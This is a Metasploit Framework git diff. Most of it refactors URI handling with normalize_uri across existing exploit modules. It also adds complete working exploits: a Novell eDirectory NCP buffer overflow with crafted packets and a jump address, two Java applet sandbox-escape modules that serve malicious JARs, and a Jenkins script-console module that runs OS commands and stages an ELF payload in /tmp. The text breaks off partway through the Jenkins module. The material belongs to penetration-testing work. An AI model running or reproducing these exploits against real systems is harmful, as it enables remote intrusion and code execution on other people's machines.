@@ def exploit print_status("#{peer} - Injecting the PHP payload") response = send_request_cgi({ - 'uri' => uri + "converter.php", + 'uri' => normalize_uri(uri, "converter.php"), 'method' => "POST", 'vars_post' => { "action" => "convert", @@ -149,7 +149,7 @@ def exploit timeout = 0.01 response = send_request_cgi({ - 'uri' => uri + "includes/currencies.php", + 'uri' => normalize_uri(uri, "includes/currencies.php"), 'method' => "GET", 'headers' => { 'Connection' => "close", diff --git a/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb b/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb new file mode 100644 index 000000000000..36b0020b425d --- /dev/null +++ b/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb @@ -0,0 +1,133 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Novell eDirectory 8 Buffer Overflow', + 'Description' => %q{ + This exploit abuses a buffer overflow vulnerability in Novell eDirectory. The + vulnerability exists in the ndsd daemon, specifically in the NCP service, while + parsing a specially crafted Keyed Object Login request. It allows remote code + execution with root privileges. + }, + 'Author' => + [ + 'David Klein', # Vulnerability Discovery + 'Gary Nilson', # Exploit + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2012-0432'], + [ 'OSVDB', '88718'], + [ 'BID', '57038' ], + [ 'EDB', '24205' ], + [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=3426981' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2013/Jan/97' ] + ], + 'DisclosureDate' => 'Dec 12 2012', + 'Platform' => 'linux', + 'Privileged' => true, + 'Arch' => ARCH_X86, + 'Payload' => + { + + }, + 'Targets' => + [ + [ 'Novell eDirectory 8.8.7 v20701.33/ SLES 10 SP3', + { + 'Ret' => 0x080a4697, # jmp esi from ndsd + 'Offset' => 58 + } + ] + ], + 'DefaultTarget' => 0 + )) + + register_options([Opt::RPORT(524),], self.class) + end + + def check + connect + sock.put(connection_request) + res = sock.get + disconnect + if res.nil? or res[8, 2].unpack("n")[0] != 0x3333 or res[15, 1].unpack("C")[0] != 0 + # res[8,2] => Reply Type + # res[15,1] => Connection Status + return Exploit::CheckCode::Safe + end + return Exploit::CheckCode::Detected + end + + def connection_request + pkt = "\x44\x6d\x64\x54" # NCP TCP id + pkt << "\x00\x00\x00\x17" # request_size + pkt << "\x00\x00\x00\x01" # version + pkt << "\x00\x00\x00\x00" # reply buffer size + pkt << "\x11\x11" # cmd => create service connection + pkt << "\x00" # sequence number + pkt << "\x00" # connection number + pkt << "\x00" # task number + pkt << "\x00" # reserved + pkt << "\x00" # request code + + return pkt + end + + def exploit + + connect + + print_status("Sending Service Connection Request...") + sock.put(connection_request) + res = sock.get + if res.nil? or res[8, 2].unpack("n")[0] != 0x3333 or res[15, 1].unpack("C")[0] != 0 + # res[8,2] => Reply Type + # res[15,1] => Connection Status + fail_with(Exploit::Failure::UnexpectedReply, "Service Connection failed") + end + print_good("Service Connection successful") + + pkt = "\x44\x6d\x64\x54" # NCP TCP id + pkt << "\x00\x00\x00\x00" # request_size (filled later) + pkt << "\x00\x00\x00\x01" # version (1) + pkt << "\x00\x00\x00\x05" # reply buffer size + pkt << "\x22\x22" # cmd + pkt << "\x01" # sequence number + pkt << res[11] # connection number + pkt << "\x00" # task number + pkt << "\x00" # reserved + pkt << "\x17" # Login Object FunctionCode (23) + pkt << "\x00\xa7" # SubFuncStrucLen + pkt << "\x18" # SubFunctionCode + pkt << "\x90\x90" # object type + pkt << "\x50" # ClientNameLen + pkt << rand_text(7) + jmp_payload = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{target['Offset'] + 4}").encode_string + pkt << jmp_payload # first byte is the memcpy length, must be bigger than 62 to to overwrite EIP + pkt << rand_text(target['Offset'] - jmp_payload.length) + pkt << [target.ret].pack("V") + pkt << payload.encoded + + pkt[4,4] = [pkt.length].pack("N") + + print_status("Sending Overflow on Keyed Object Login...") + sock.put(pkt) + sock.get + disconnect + end + +end diff --git a/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb b/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb new file mode 100644 index 000000000000..bae9abf58a4e --- /dev/null +++ b/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb @@ -0,0 +1,132 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::EXE + + include Msf::Exploit::Remote::BrowserAutopwn + autopwn_info({ :javascript => false }) + + def initialize( info = {} ) + + super( update_info( info, + 'Name' => 'Java Applet AverageRangeStatisticImpl Remote Code Execution', + 'Description' => %q{ + This module abuses the AverageRangeStatisticImpl from a Java Applet to run + arbitrary Java code outside of the sandbox, a different exploit vector than the one + exploited in the wild in November of 2012. The vulnerability affects Java version + 7u7 and earlier. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # Vulnerability discovery at security-explorations + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2012-5076' ], + [ 'OSVDB', '86363' ], + [ 'BID', '56054' ], + [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ], + [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-5076' ], + [ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-report.pdf' ] + ], + 'Platform' => [ 'java', 'win', 'osx', 'linux' ], + 'Payload' => { 'Space' => 20480, 'DisableNops' => true }, + 'Targets' => + [ + [ 'Generic (Java Payload)', + { + 'Platform' => ['java'], + 'Arch' => ARCH_JAVA, + } + ], + [ 'Windows x86 (Native Payload)', + { + 'Platform' => 'win', + 'Arch' => ARCH_X86, + } + ], + [ 'Mac OS X x86 (Native Payload)', + { + 'Platform' => 'osx', + 'Arch' => ARCH_X86, + } + ], + [ 'Linux x86 (Native Payload)', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Oct 16 2012' + )) + end + + + def setup + path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5076_2", "Exploit.class") + @exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5076_2", "B.class") + @loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } + + @exploit_class_name = rand_text_alpha("Exploit".length) + @exploit_class.gsub!("Exploit", @exploit_class_name) + super + end + + def on_request_uri(cli, request) + print_status("handling request for #{request.uri}") + + case request.uri + when /\.jar$/i + jar = payload.encoded_jar + jar.add_file("#{@exploit_class_name}.class", @exploit_class) + jar.add_file("B.class", @loader_class) + metasploit_str = rand_text_alpha("metasploit".length) + payload_str = rand_text_alpha("payload".length) + jar.entries.each { |entry| + entry.name.gsub!("metasploit", metasploit_str) + entry.name.gsub!("Payload", payload_str) + entry.data = entry.data.gsub("metasploit", metasploit_str) + entry.data = entry.data.gsub("Payload", payload_str) + } + jar.build_manifest + + send_response(cli, jar, { 'Content-Type' => "application/octet-stream" }) + when /\/$/ + payload = regenerate_payload(cli) + if not payload + print_error("Failed to generate the payload.") + send_not_found(cli) + return + end + send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) + else + send_redirect(cli, get_resource() + '/', '') + end + + end + + def generate_html + html = %Q|Loading, Please Wait...| + html += %Q|

Loading, Please Wait...

| + html += %Q|| + html += %Q|| + return html + end + +end diff --git a/modules/exploits/multi/browser/java_jre17_method_handle.rb b/modules/exploits/multi/browser/java_jre17_method_handle.rb new file mode 100644 index 000000000000..af8f2e1722ed --- /dev/null +++ b/modules/exploits/multi/browser/java_jre17_method_handle.rb @@ -0,0 +1,130 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::EXE + + include Msf::Exploit::Remote::BrowserAutopwn + autopwn_info({ :javascript => false }) + + def initialize( info = {} ) + + super( update_info( info, + 'Name' => 'Java Applet Method Handle Remote Code Execution', + 'Description' => %q{ + This module abuses the Method Handle class from a Java Applet to run arbitrary + Java code outside of the sandbox. The vulnerability affects Java version 7u7 and + earlier. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # Vulnerability discovery at security-explorations.com + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2012-5088' ], + [ 'OSVDB', '86352' ], + [ 'BID', '56057' ], + [ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-5.pdf' ], + [ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-report.pdf' ] + ], + 'Platform' => [ 'java', 'win', 'osx', 'linux' ], + 'Payload' => { 'Space' => 20480, 'DisableNops' => true }, + 'Targets' => + [ + [ 'Generic (Java Payload)', + { + 'Platform' => ['java'], + 'Arch' => ARCH_JAVA, + } + ], + [ 'Windows x86 (Native Payload)', + { + 'Platform' => 'win', + 'Arch' => ARCH_X86, + } + ], + [ 'Mac OS X x86 (Native Payload)', + { + 'Platform' => 'osx', + 'Arch' => ARCH_X86, + } + ], + [ 'Linux x86 (Native Payload)', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Oct 16 2012' + )) + end + + + def setup + path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5088", "Exploit.class") + @exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5088", "B.class") + @loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } + + @exploit_class_name = rand_text_alpha("Exploit".length) + @exploit_class.gsub!("Exploit", @exploit_class_name) + super + end + + def on_request_uri(cli, request) + print_status("handling request for #{request.uri}") + + case request.uri + when /\.jar$/i + jar = payload.encoded_jar + jar.add_file("#{@exploit_class_name}.class", @exploit_class) + jar.add_file("B.class", @loader_class) + metasploit_str = rand_text_alpha("metasploit".length) + payload_str = rand_text_alpha("payload".length) + jar.entries.each { |entry| + entry.name.gsub!("metasploit", metasploit_str) + entry.name.gsub!("Payload", payload_str) + entry.data = entry.data.gsub("metasploit", metasploit_str) + entry.data = entry.data.gsub("Payload", payload_str) + } + jar.build_manifest + + send_response(cli, jar, { 'Content-Type' => "application/octet-stream" }) + when /\/$/ + payload = regenerate_payload(cli) + if not payload + print_error("Failed to generate the payload.") + send_not_found(cli) + return + end + send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) + else + send_redirect(cli, get_resource() + '/', '') + end + + end + + def generate_html + html = %Q|Loading, Please Wait...| + html += %Q|

Loading, Please Wait...

| + html += %Q|| + html += %Q|| + return html + end + +end diff --git a/modules/exploits/multi/handler.rb b/modules/exploits/multi/handler.rb index bf541b1d4760..7996ad52ef9c 100644 --- a/modules/exploits/multi/handler.rb +++ b/modules/exploits/multi/handler.rb @@ -32,7 +32,7 @@ def initialize(info = {}) 'BadChars' => '', 'DisableNops' => true, }, - 'Platform' => [ 'win', 'linux', 'solaris', 'unix', 'osx', 'bsd', 'php', 'java' ], + 'Platform' => [ 'win', 'linux', 'solaris', 'unix', 'osx', 'bsd', 'php', 'java','ruby','js','python' ], 'Arch' => ARCH_ALL, 'Targets' => [ [ 'Wildcard Target', { } ] ], 'DefaultTarget' => 0 diff --git a/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb b/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb index 0895037634b6..404bf9f31d65 100644 --- a/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb +++ b/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb @@ -57,13 +57,13 @@ def initialize(info = {}) end def check - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1,1] != '/' clue = Rex::Text::rand_text_alpha(rand(5) + 5) res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}plugins/access.ssh/checkInstall.php", + 'uri' => normalize_uri(uri, 'plugins/access.ssh/checkInstall.php'), 'vars_get' => { 'destServer' => "||echo #{clue}" } @@ -79,13 +79,12 @@ def check def exploit peer = "#{rhost}:#{rport}" - uri = normalize_uri(target_uri.path) - uri << '/' if target_uri.path[-1,1] != '/' + uri = target_uri.path # Trigger the command execution bug res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}plugins/access.ssh/checkInstall.php", + 'uri' => normalize_uri(uri, "plugins/access.ssh/checkInstall.php"), 'vars_get' => { 'destServer' => "||#{payload.encoded}" diff --git a/modules/exploits/multi/http/apprain_upload_exec.rb b/modules/exploits/multi/http/apprain_upload_exec.rb index 06e6fdc6a04e..fc485ebc4420 100644 --- a/modules/exploits/multi/http/apprain_upload_exec.rb +++ b/modules/exploits/multi/http/apprain_upload_exec.rb @@ -59,12 +59,12 @@ def initialize(info={}) end def check - uri = normalize_uri(target_uri.path) + uri = target_uri.path uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}addons/uploadify/uploadify.php" + 'uri' => normalize_uri(uri, 'addons/uploadify/uploadify.php') }) if res and res.code == 200 and res.body.empty? @@ -75,8 +75,7 @@ def check end def exploit - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' + uri = target_uri.path peer = "#{rhost}:#{rport}" payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php' @@ -91,7 +90,7 @@ def exploit print_status("#{peer} - Sending PHP payload (#{payload_name})") res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}addons/uploadify/uploadify.php", + 'uri' => normalize_uri(uri, "addons/uploadify/uploadify.php"), 'ctype' => 'multipart/form-data; boundary=o0oOo0o', 'data' => post_data }) @@ -107,7 +106,7 @@ def exploit # Execute our payload res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}addons/uploadify/uploads/#{payload_name}" + 'uri' => normalize_uri(uri, "addons/uploadify/uploads/#{payload_name}") }) # If we don't get a 200 when we request our malicious payload, we suspect diff --git a/modules/exploits/multi/http/auxilium_upload_exec.rb b/modules/exploits/multi/http/auxilium_upload_exec.rb index 2a314cb411de..cb0147c8c469 100644 --- a/modules/exploits/multi/http/auxilium_upload_exec.rb +++ b/modules/exploits/multi/http/auxilium_upload_exec.rb @@ -56,11 +56,12 @@ def initialize(info={}) def check - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' + uri = target_uri.path base = File.dirname("#{uri}.") - res = send_request_raw({'uri'=>"#{base}/admin/sitebanners/upload_banners.php"}) + res = send_request_raw({ + 'uri' => normalize_uri("#{base}/admin/sitebanners/upload_banners.php") + }) if res and res.body =~ /\Pet Rate Admin \- Banner Manager\<\/title\>/ return Exploit::CheckCode::Appears else @@ -83,7 +84,7 @@ def upload_exec(base, php_fname, p) print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)...") res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{base}/admin/sitebanners/upload_banners.php", + 'uri' => normalize_uri("#{base}/admin/sitebanners/upload_banners.php"), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data, }) @@ -94,7 +95,7 @@ def upload_exec(base, php_fname, p) end print_status("#{@peer} - Requesting '#{php_fname}'...") - res = send_request_raw({'uri'=>"#{base}/banners/#{php_fname}"}) + res = send_request_raw({'uri'=>normalize_uri("#{base}/banners/#{php_fname}")}) if res and res.code == 404 print_error("#{@peer} - Upload unsuccessful: #{res.code.to_s}") return diff --git a/modules/exploits/multi/http/axis2_deployer.rb b/modules/exploits/multi/http/axis2_deployer.rb index f9060db244ba..565d73a293c1 100644 --- a/modules/exploits/multi/http/axis2_deployer.rb +++ b/modules/exploits/multi/http/axis2_deployer.rb @@ -267,7 +267,7 @@ def exploit res = send_request_cgi( { 'method' => 'POST', - 'uri' => "#{rpath}/axis2-admin/login", + 'uri' => normalize_uri(rpath, '/axis2-admin/login'), 'ctype' => 'application/x-www-form-urlencoded', 'data' => "userName=#{user}&password=#{pass}&submit=+Login+", }, 25) @@ -303,7 +303,7 @@ def exploit res = send_request_cgi( { 'method' => 'POST', - 'uri' => "#{rpath}/axis2-admin/login", + 'uri' => normalize_uri(rpath, '/axis2-admin/login'), 'ctype' => 'application/x-www-form-urlencoded', 'data' => "userName=#{user}&password=#{pass}&submit=+Login+", }, 25) diff --git a/modules/exploits/multi/http/cuteflow_upload_exec.rb b/modules/exploits/multi/http/cuteflow_upload_exec.rb index 40dfc9a09bf8..2f413cec6bf5 100644 --- a/modules/exploits/multi/http/cuteflow_upload_exec.rb +++ b/modules/exploits/multi/http/cuteflow_upload_exec.rb @@ -62,7 +62,7 @@ def check base << '/' if base[-1, 1] != '/' res = send_request_raw({ 'method' => 'GET', - 'uri' => "#{base}" + 'uri' => base }) if res.body =~ /\Version 2\.11\.2\<\/strong\>\/ @@ -90,7 +90,7 @@ def upload(base, fname, file) # upload res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{base}pages/restart_circulation_values_write.php", + 'uri' => normalize_uri(base, "pages/restart_circulation_values_write.php"), 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => data_post, }) @@ -117,7 +117,7 @@ def exploit print_status("#{@peer} - Retrieving file: #{fname}") send_request_raw({ 'method' => 'GET', - 'uri' => "#{base}upload/___1/#{fname}" + 'uri' => normalize_uri(base, "upload/___1/#{fname}") }) handler diff --git a/modules/exploits/multi/http/horde_href_backdoor.rb b/modules/exploits/multi/http/horde_href_backdoor.rb index 0c36c206c2ce..e5df62a1a8ff 100644 --- a/modules/exploits/multi/http/horde_href_backdoor.rb +++ b/modules/exploits/multi/http/horde_href_backdoor.rb @@ -59,14 +59,14 @@ def initialize(info = {}) def exploit # Make sure the URI begins with a slash - uri = normalize_uri(datastore['URI']) + uri = datastore['URI'] function = "passthru" key = Rex::Text.rand_text_alpha(6) arguments = "echo #{key}`"+payload.raw+"`#{key}" res = send_request_cgi({ - 'uri' => uri + "/services/javascript.php", + 'uri' => normalize_uri(uri, "/services/javascript.php"), 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'data' => "app="+datastore['APP']+"&file=open_calendar.js", diff --git a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb index 107cb3dd29b5..4b34db401024 100644 --- a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb +++ b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = GoodRanking HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } @@ -101,7 +101,7 @@ def exploit # Generate an initial JSESSIONID print_status("#{@peer} - Retrieving an initial JSESSIONID") res = send_request_cgi( - 'uri' => "#{@uri}servlet/Main", + 'uri' => normalize_uri(@uri, 'servlet/Main'), 'method' => 'POST' ) @@ -118,7 +118,7 @@ def exploit print_status("#{@peer} - Authenticating on HP SiteScope Configuration") res = send_request_cgi( { - 'uri' => "#{@uri}j_security_check", + 'uri' => normalize_uri(@uri, 'j_security_check'), 'method' => 'POST', 'data' => login_data, 'ctype' => "application/x-www-form-urlencoded", @@ -264,7 +264,7 @@ def exploit print_status("#{@peer} - Uploading the JSP") res = send_request_cgi( { - 'uri' => "#{@uri}upload?REMOTE_HANDLER_KEY=UploadFilesHandler&UploadFilesHandler.file.name=#{traversal}#{@jsp_name}.jsp&UploadFilesHandler.ovveride=true", + 'uri' => normalize_uri(@uri, 'upload') + "?REMOTE_HANDLER_KEY=UploadFilesHandler&UploadFilesHandler.file.name=#{traversal}#{@jsp_name}.jsp&UploadFilesHandler.ovveride=true", 'method' => 'POST', 'data' => post_data.to_s, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", @@ -285,7 +285,7 @@ def exploit print_status("Triggering payload at '#{@uri}#{@jsp_name}.jsp' ...") send_request_cgi( { - 'uri' => "#{@uri}#{@jsp_name}.jsp", + 'uri' => normalize_uri(@uri, "#{@jsp_name}.jsp"), 'method' => 'GET', 'headers' => { @@ -334,7 +334,7 @@ def create_user data << "" + "\r\n" res = send_request_cgi({ - 'uri' => "#{@uri}services/APIPreferenceImpl", + 'uri' => normalize_uri(@uri, 'services/APIPreferenceImpl'), 'method' => 'POST', 'ctype' => 'text/xml; charset=UTF-8', 'data' => data, diff --git a/modules/exploits/multi/http/jboss_bshdeployer.rb b/modules/exploits/multi/http/jboss_bshdeployer.rb index d2ea9a7cc8a9..07d5eb2adaef 100644 --- a/modules/exploits/multi/http/jboss_bshdeployer.rb +++ b/modules/exploits/multi/http/jboss_bshdeployer.rb @@ -391,7 +391,7 @@ def auto_target end def query_serverinfo - path = normalize_uri(datastore['PATH']) + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo' + path = normalize_uri(datastore['PATH'], '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo') res = send_request_raw( { 'uri' => path, @@ -449,13 +449,13 @@ def invoke_bshscript(bsh_script, pkg) if (datastore['VERB']== "POST") res = send_request_cgi({ 'method' => datastore['VERB'], - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor', + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), 'data' => params }) else res = send_request_cgi({ 'method' => datastore['VERB'], - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor?' + params + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor') + "?#{params}" }, 30) end res diff --git a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb index 8808c158ffd9..422b8f83927b 100644 --- a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb +++ b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb @@ -277,14 +277,14 @@ def upload_file(base_name, jsp_name, content) if (datastore['VERB'] == "POST") res = send_request_cgi( { - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor', + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), 'method' => datastore['VERB'], 'data' => data }, 5) else res = send_request_cgi( { - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor?' + data, + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor') + "?#{data}", 'method' => datastore['VERB'], }, 30) end @@ -308,14 +308,14 @@ def delete_file(folder, name, ext) if (datastore['VERB'] == "POST") res = send_request_cgi( { - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor', + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), 'method' => datastore['VERB'], 'data' => data }, 5) else res = send_request_cgi( { - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor;index.jsp?' + data, + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor;index.jsp') + "?#{data}", 'method' => datastore['VERB'], }, 30) end @@ -378,7 +378,7 @@ def auto_target def query_serverinfo - path = normalize_uri(datastore['PATH']) + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo' + path = normalize_uri(datastore['PATH'], '/HtmlAdaptor') + '?action=inspectMBean&name=jboss.system:type=ServerInfo' res = send_request_raw( { 'uri' => path, diff --git a/modules/exploits/multi/http/jboss_maindeployer.rb b/modules/exploits/multi/http/jboss_maindeployer.rb index db63a96cb482..7c36c1fa1624 100644 --- a/modules/exploits/multi/http/jboss_maindeployer.rb +++ b/modules/exploits/multi/http/jboss_maindeployer.rb @@ -176,7 +176,7 @@ def exploit if (datastore['VERB'] == "POST") res = send_request_cgi({ 'method' => datastore['VERB'], - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor', + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), 'vars_post' => { 'action' => 'invokeOpByName', @@ -189,7 +189,7 @@ def exploit else res = send_request_cgi({ 'method' => datastore['VERB'], - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor', + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), 'vars_get' => { 'action' => 'invokeOpByName', @@ -275,7 +275,7 @@ def exploit print_status("Undeploying #{app_base} ...") res = send_request_cgi({ 'method' => datastore['VERB'], - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor', + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), 'vars_post' => { 'action' => 'invokeOpByName', @@ -314,7 +314,7 @@ def on_request_uri(cli, request) def query_serverinfo - path = normalize_uri(datastore['PATH']) + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo' + path = normalize_uri(datastore['PATH'], '/HtmlAdaptor') + '?action=inspectMBean&name=jboss.system:type=ServerInfo' res = send_request_raw( { 'uri' => path diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb new file mode 100644 index 000000000000..bd825a7a004e --- /dev/null +++ b/modules/exploits/multi/http/jenkins_script_console.rb @@ -0,0 +1,185 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStagerVBS + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Jenkins Script-Console Java Execution', + 'Description' => %q{ + This module uses the Jenkins Groovy script console to execute + OS commands using Java. + }, + 'Author' => + [ + 'Spencer McIntyre', + 'jamcut' + ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => + { + 'WfsDelay' => '10', + }, + 'References' => + [ + ['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console'] + ], + 'Targets' => + [ + ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win'}], + ['Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }], + ['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}] + ], + 'DisclosureDate' => 'Jan 18 2013', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]), + OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]), + OptString.new('TARGETURI', [ true, 'The path to jenkins', '/jenkins/' ]), + ], self.class) + end + + def check + uri = target_uri + uri.path = normalize_uri(uri.path) + uri.path << "/" if uri.path[-1, 1] != "/" + res = send_request_cgi({'uri' => "#{uri.path}login"}) + if res and res.headers.include?('X-Jenkins') + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Safe + end + end + + def on_new_session(client) + if not @to_delete.nil? + print_warning("Deleting #{@to_delete} payload file") + execute_command("rm #{@to_delete}") + end + end + + def http_send_command(cmd, opts = {}) + request_parameters = { + 'method' => 'POST', + 'uri' => normalize_uri(@uri.path, "script"), + 'vars_post' => + { + 'script' => java_craft_runtime_exec(cmd), + 'Submit' => 'Run' + } + } + request_parameters['cookie'] = @cookie if @cookie != nil + res = send_request_cgi(request_parameters) + if not (res and res.code == 200) + fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.') + end + end + + def java_craft_runtime_exec(cmd) + decoder = Rex::Text.rand_text_alpha(5, 8) + decoded_bytes = Rex::Text.rand_text_alpha(5, 8) + cmd_array = Rex::Text.rand_text_alpha(5, 8) + jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n" + jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n" + + jcode << "String [] #{cmd_array} = new String[3];\n" + if target['Platform'] == 'win' + jcode << "#{cmd_array}[0] = \"cmd.exe\";\n" + jcode << "#{cmd_array}[1] = \"/c\";\n" + else + jcode << "#{cmd_array}[0] = \"/bin/sh\";\n" + jcode << "#{cmd_array}[1] = \"-c\";\n" + end + jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n" + jcode << "Runtime.getRuntime().exec(#{cmd_array});\n" + jcode + end + + def execute_command(cmd, opts = {}) + vprint_status("Attempting to execute: #{cmd}") + http_send_command("#{cmd}") + end + + def linux_stager + cmds = "echo LINE | tee FILE" + exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw) + base64 = Rex::Text.encode_base64(exe) + base64.gsub!(/\=/, "\\u003d") + file = rand_text_alphanumeric(4+rand(4)) + + execute_command("touch /tmp/#{file}.b64") + cmds.gsub!(/FILE/, "/tmp/" + file + ".b64") + base64.each_line do |line| + line.chomp! + cmd = cmds + cmd.gsub!(/LINE/, line) + execute_command(cmds) + end + + execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}") + execute_command("chmod +x /tmp/#{file}") + execute_command("rm /tmp/#{file}.b64") + + execute_command("/tmp/#{file}") + @to_delete = "/tmp/#{file}" + end + + + def exploit + @uri = target_uri + 